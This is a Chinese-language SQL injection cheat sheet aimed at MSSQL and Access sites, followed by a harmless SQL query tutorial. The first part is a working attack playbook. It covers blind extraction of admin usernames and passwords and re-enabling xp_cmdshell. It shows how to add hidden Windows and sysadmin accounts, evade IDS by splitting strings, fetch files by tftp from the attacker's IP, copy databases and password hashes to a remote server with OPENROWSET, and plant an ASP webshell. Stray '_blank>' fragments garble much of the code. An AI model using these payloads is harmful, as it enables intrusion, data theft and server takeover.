1.判断有无注入点

; and 1=1 and 1=2 

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(name)>0) 

and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0) 

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确


and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确 


6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位




26 1-9 

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1-- 

group by users.id, users.username, users.password, users.privs having 1=1--

; insert into users values( 666, attacker, foobar, 0xffff )--

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- 

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- 

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- 

UNION SELECT TOP 1 login_blank>_name FROM logintable- 

UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 

看_blank>服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。

and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and sa=(SELECT System_blank>_user)--

and user_blank>_name()=dbo--

and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 

加帐号

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘: 

;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--

访问属性:(配合写入一个webshell) 

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交 

and 0<>(select top 1 paths from newtable)-- 

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 

依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id 

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 

(id,...)) 来暴出其他的字段 

and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 

依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段 

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));-- 

and (select top 1 swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--

;use ku1;-- 

;create table cmd (str p_w_picpath);-- 建立p_w_picpath类型的表cmd

存在xp_blank>_cmdshell的测试过程: 

;exec master..xp_blank>_cmdshell dir 

;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号

;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- 

;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- 

;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 

;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- 

exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务

exec master..xp_blank>_servicecontrol start, server 

; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add 

;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 

; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 

;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat

如果被限制则可以。 

select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造: 

SELECT * FROM news WHERE id=... AND topic=... AND ..... 

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 

select 123;-- 

;use master;-- 

:a or name like fff%;-- 显示有一个叫ffff的用户哈。 

and 1<>(select count(email) from [user]);-- 

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 

;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 

上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 

通过查看ffff的用户资料可得第一个用表叫ad 

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123, admin--, password, 0xffff)--

;and user>0 

;and (select count(*) from sysobjects)>0 

;and (select count(*) from mysysobjects)>0 //为access_blank>数据库 

枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

这是将第一个表名更新到aaa的字段处。 

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 

然后id=1552 and exists(select * from aaa where aaa>5) 

读出第二个表,一个个的读出,直到没有为止。 

读字段是这样: 

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- 

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) 

通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] 

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 

update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件] 

绕过IDS的检测[使用变量] 

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 

1、 开启远程_blank>数据库 

基本语法 

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 

参数: (1) OLEDB Provider name 

2、 其中连接字符串参数可以是任何端口用来连接,比如 

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table

3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

基本语法: 

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 

这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases) 

select * from master.dbo.sysdatabases 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects) 

select * from user_blank>_database.dbo.sysobjects 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns) 

select * from user_blank>_database.dbo.syscolumns 

复制_blank>数据库: 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: 

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 

得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp 

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 

;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 

;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表 

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- 

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc 

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC) 

写入表: 

语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));-- 

语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));-- 

语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 

语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 

语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 

语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- 

语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 

语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 

语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));-- 

把路径写到表中去: 

;create table dirs(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_blank>_dirtree c:\--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

;create table dirs1(paths varchar(100), id int)-- 

;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- 

and 0<>(select top 1 paths from dirs1)--

把_blank>数据库备份到网页目录:下载 

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;-- 

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) 

and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 

and 1=(select user_blank>_id from USER_blank>_LOGIN) 

and 0=(select user from USER_blank>_LOGIN where user>1) 

-=- wscript.shell example -=-

declare @o int 

exec sp_blank>_oacreate wscript.shell, @o out 

exec sp_blank>_oamethod @o, run, NULL, notepad.exe 

; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe-- 

declare @o int, @f int, @t int, @ret int 

declare @line varchar(8000) 

exec sp_blank>_oacreate scripting.filesystemobject, @o out 

exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 

exec @ret = sp_blank>_oamethod @f, readline, @line out 

while( @ret = 0 ) 

begin 

print @line 

exec @ret = sp_blank>_oamethod @f, readline, @line out 

end 

declare @o int, @f int, @t int, @ret int 

exec sp_blank>_oacreate scripting.filesystemobject, @o out 

exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 

exec @ret = sp_blank>_oamethod @f, writeline, NULL, 

<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> 

declare @o int, @ret int 

exec sp_blank>_oacreate speech.voicetext, @o out 

exec sp_blank>_oamethod @o, register, NULL, foo, bar 

exec sp_blank>_oasetproperty @o, speed, 150 

exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 

waitfor delay 00:00:05 

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- 

xp_blank>_dirtree适用权限PUBLIC

exec master.dbo.xp_blank>_dirtree c:\

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是×××字段。

create table dirs(paths varchar(100), id int)

建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_blank>_dirtree c:\

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!




快速学习 理解SQL注入技术

相信很多朋友看完这篇文章对于手工注入来说可以是轻而易举的了..



---


检测可否注入


  http://127.0.0.1/xx?id=11 and 1=1 (正常页面)


  http://127.0.0.1/xx?id=11 and 1=2 (出错页面)


  检测表段的


  http://127.0.0.1/xx?id=11 and exists (select * from admin)


  检测字段的


  http://127.0.0.1/xx?id=11 and exists (select username from admin)


  检测ID


  http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)


  检测长度的


  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


  检测长度的


  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


  检测是否为MSSQL数据库


  http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)


  检测是否为英文


  (ACCESS数据库)


(MSSQL数据库)


  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)


  常用函数


  Access:asc(字符) SQLServer:unicode(字符)


  作用:返回某字符的ASCII码


  Access:chr(数字) SQLServer:nchar(数字)


  作用:与asc相反,根据ASCII码返回字符


  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)


  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串


  Access:abc(数字) SQLServer:abc (数字)


  作用:返回数字的绝对值(在猜解汉字的时候会用到)


  Access:A between B And C SQLServer:A between B And C


  作用:判断A是否界于B与C之间


  and exists(Select top 1 * From 用户 order by id)


  1.在查询结果中显示列名:


  a.用as关键字:select name as '姓名'  from students order by age


  b.直接表示:select name '姓名'  from students order by age


  2.精确查找:


  a.用in限定范围:select * from students where native in ('湖南', '四川')


  b.between...and:select * from students where age between 20 and 30


  c.“=”:select * from students where name = '李山'


  d.like:select * from students where name like '李%' (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:'%李%';若是第二个字为李,则应为'_李%'或'_李'或'_李_'。)


e.[]匹配检查符:select * from courses where cno like '[AC]%' (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like '[A-C]%')


  3.对于时间类型变量的处理


  a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = '1980-1-1' and birth <= '1980-12-31'


  4.集函数


  a.count()求和,如:select count(*) from students (求学生总人数)


  b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’


  c.max(列)和min(列),求最大与最小


  5.分组group


  常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)


  注意:从哪种角度分组就从哪列"group by"


  对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和


  性别(gender),所以有"group by grade, mno, gender"


  select grade, mno, gender, count(*) from students group by grade, mno, gender


  通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:


  select sno,count(*) from grades where mark<60 group by sno having count(*)>1


  6.UNION联合


  合并查询结果,如:


  SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’


7.多表查询


  a.内连接


  select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno


  (注意可以引用别名)


  b.外连接


  b1.左连接


  select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno


  左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。


  左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。


  b2.右连接


  与左连接类似


  b3.全连接


  select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno


  两边表中的内容全部显示


  c.自身连接


  select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno


  采用别名解决问题。


  d.交*连接


  select lastname+firstname from lastname CROSS JOIN firstanme


  相当于做笛卡儿积


  8.嵌套查询


  a.用关键字IN,如查询猪猪山的同乡:


  select * from students where native in (select native from students where name=’猪猪’)


  b.使用关键字EXIST,比如,下面两句是等价的:


  select * from students where sno in (select sno from grades where cno=’B2’)


  select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)


  9.关于排序order


  a.对于排序order,有两种方法:asc升序和desc降序


  b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:



  select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3


  10.其他


  a.对于有空格的识别名称,应该用"[]"括住。


  b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL


  c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”


  d.注意在做否定意义的查询是小心进入陷阱:


  如,没有选修‘B2’课程的学生 :


  select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’       


  上面的查询方式是错误的,正确方式见下方:


  select * from students where not exists (select * from grades where grades.sno=students.sno AND cno='B2')


  11.关于有难度多重嵌套查询的解决思想:如,选修了全部课程的学生:


  select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))


  最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可。